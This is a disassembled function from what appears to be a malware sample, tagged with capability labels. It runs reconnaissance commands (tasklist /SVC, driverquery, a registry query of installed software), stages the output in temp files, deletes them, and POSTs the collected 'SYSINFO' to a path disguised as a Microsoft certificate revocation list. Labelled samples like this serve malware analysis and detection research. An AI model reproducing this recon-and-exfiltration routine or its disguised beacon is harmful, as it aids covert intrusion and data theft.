Function at 0x10008cda
Capabilities:
Create process on windows
Delete file
Enumerate device drivers on windows
Get common file path

Disassembly:
sub esp, 0xea4
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x98]
push eax
push 0x104
mov dword [esp + 0x3c], ecx
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [esp + 0x2a0]
push eax
xor ebx, ebx
push ebx
push 0x1000dc48
lea eax, [esp + 0xa4]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea eax, [esp + 0x2a0]
push eax
push 0x1000dc4c
lea eax, [esp + 0x6b8]
push 0x400
push eax
call fcn.1000ad60
push 0x40
lea eax, [esp + 0x60]
push ebx
push eax
call sub.ntdll.dll_memset
xor eax, eax
mov dword [esp + 0x2c], ebx
add esp, 0x1c
lea edi, [esp + 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov ebp, dword [sym.imp.KERNEL32.dll_CreateProcessW]
stosd dword es:[edi], eax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x4c]
push eax
lea eax, [esp + 0xa0]
push eax
push ebx
push 0xc000000
push ebx
push ebx
push ebx
lea eax, [esp + 0x6d0]
push eax
push ebx
mov dword [esp + 0x70], 0x44
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x10008dad
push 0xffffffffffffffff
push dword [esp + 0x14]
call ebx
push dword [esp + 0x14]
call esi
push dword [esp + 0x10]
call esi
lea eax, [esp + 0x2a0]
push eax
push str.cmd__C__tasklist.exe__SVC_____s_
lea eax, [esp + 0x6b8]
push 0x400
push eax
call fcn.1000ad60
push 0x40
xor edi, edi
lea eax, [esp + 0x60]
push edi
push eax
call sub.ntdll.dll_memset
mov dword [esp + 0x2c], edi
xor eax, eax
add esp, 0x1c
lea edi, [esp + 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x4c]
push eax
xor edi, edi
lea eax, [esp + 0xa0]
push eax
push edi
push 0xc000000
push edi
push edi
push edi
lea eax, [esp + 0x6d0]
push eax
push edi
mov dword [esp + 0x70], 0x44
call ebp
test eax, eax
je 0x10008e33
push 0xffffffffffffffff
push dword [esp + 0x14]
call ebx
push dword [esp + 0x14]
call esi
push dword [esp + 0x10]
call esi
lea eax, [esp + 0x2a0]
push eax
push str.cmd__C__driverquery.exe_____s_
lea eax, [esp + 0x6b8]
push 0x400
push eax
call fcn.1000ad60
push 0x40
lea eax, [esp + 0x60]
push edi
push eax
call sub.ntdll.dll_memset
mov dword [esp + 0x2c], edi
xor eax, eax
add esp, 0x1c
lea edi, [esp + 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x4c]
push eax
xor edi, edi
lea eax, [esp + 0xa0]
push eax
push edi
push 0xc000000
push edi
push edi
push edi
lea eax, [esp + 0x6d0]
push eax
push edi
mov dword [esp + 0x70], 0x44
call ebp
test eax, eax
je 0x10008eb7
push 0xffffffffffffffff
push dword [esp + 0x14]
call ebx
push dword [esp + 0x14]
call esi
push dword [esp + 0x10]
call esi
lea eax, [esp + 0x2a0]
push eax
push str.cmd__C__reg.exe_query__HKLMSOFTWAREMicrosoftWindowsCurrentVersionUninstall___s_____s_
lea eax, [esp + 0x6b8]
push 0x400
push eax
call fcn.1000ad60
push 0x40
lea eax, [esp + 0x60]
push edi
push eax
call sub.ntdll.dll_memset
mov dword [esp + 0x2c], edi
xor eax, eax
add esp, 0x1c
lea edi, [esp + 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x4c]
push eax
xor edi, edi
lea eax, [esp + 0xa0]
push eax
push edi
push 0xc000000
push edi
push edi
push edi
lea eax, [esp + 0x6d0]
push eax
push edi
mov dword [esp + 0x70], 0x44
call ebp
test eax, eax
je 0x10008f3b
push 0xffffffffffffffff
push dword [esp + 0x14]
call ebx
push dword [esp + 0x14]
call esi
push dword [esp + 0x10]
call esi
lea eax, [esp + 0x2a0]
push eax
push str.cmd__C__echo______________s_
lea eax, [esp + 0x6b8]
push 0x400
push eax
call fcn.1000ad60
push 0x40
lea eax, [esp + 0x60]
push edi
push eax
call sub.ntdll.dll_memset
mov dword [esp + 0x2c], edi
xor eax, eax
add esp, 0x1c
lea edi, [esp + 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x4c]
push eax
xor edi, edi
lea eax, [esp + 0xa0]
push eax
push edi
push 0xc000000
push edi
push edi
push edi
lea eax, [esp + 0x6d0]
push eax
push edi
mov dword [esp + 0x70], 0x44
call ebp
test eax, eax
je 0x10008fbf
push 0xffffffffffffffff
push dword [esp + 0x14]
call ebx
push dword [esp + 0x14]
call esi
push dword [esp + 0x10]
call esi
lea eax, [esp + 0x4a8]
push eax
push edi
push 0x1000d430
lea eax, [esp + 0xa4]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea eax, [esp + 0x4a8]
push eax
lea eax, [esp + 0x2a4]
push eax
push str.cmd__C__copy__s__s_
lea eax, [esp + 0x6bc]
push 0x400
push eax
call fcn.1000ad60
push 0x40
lea eax, [esp + 0x64]
push edi
push eax
call sub.ntdll.dll_memset
mov dword [esp + 0x30], edi
xor eax, eax
add esp, 0x20
lea edi, [esp + 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x4c]
push eax
xor edi, edi
lea eax, [esp + 0xa0]
push eax
push edi
push 0xc000000
push edi
push edi
push edi
lea eax, [esp + 0x6d0]
push eax
push edi
mov dword [esp + 0x70], 0x44
call ebp
test eax, eax
je 0x10009067
push 0xffffffffffffffff
push dword [esp + 0x14]
call ebx
push dword [esp + 0x14]
call esi
push dword [esp + 0x10]
call esi
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [esp + 0x2a0]
push eax
call edi
lea eax, [esp + 0x44]
push eax
lea edx, [esp + 0x34]
lea ecx, [esp + 0x4ac]
call fcn.1000afad
mov esi, eax
lea eax, [esp + 0x4a8]
push eax
call edi
test esi, esi
jne 0x10009121
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x14]
call fcn.100075a2
lea eax, [esp + 0x90]
push eax
lea eax, [esp + 0x3c]
push eax
lea eax, [esp + 0x9c]
push eax
lea eax, [esp + 0x48]
push eax
push dword [esp + 0x54]
mov eax, ecx
push dword [esp + 0x44]
push str._pki_mscorp_crl_MSIT_20Machine_20Auth_20CA_202_1_.crl
push str.POST
push ecx
push 0x1000d6e4
push str.SYSINFO
push dword [esp + 0x6c]
push eax
mov eax, dword [esp + 0x68]
mov edx, dword [eax + 4]
mov ecx, dword [eax]
call fcn.100075d9
test eax, eax
je 0x10009118
mov ecx, dword [esp + 0x3c]
test ecx, ecx
je 0x1000910b
call fcn.1000ad9b
mov ecx, dword [esp + 0x38]
test ecx, ecx
je 0x10009118
call fcn.1000ad9b
mov ecx, dword [esp + 0x30]
call fcn.1000ad9b
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xea4
ret 8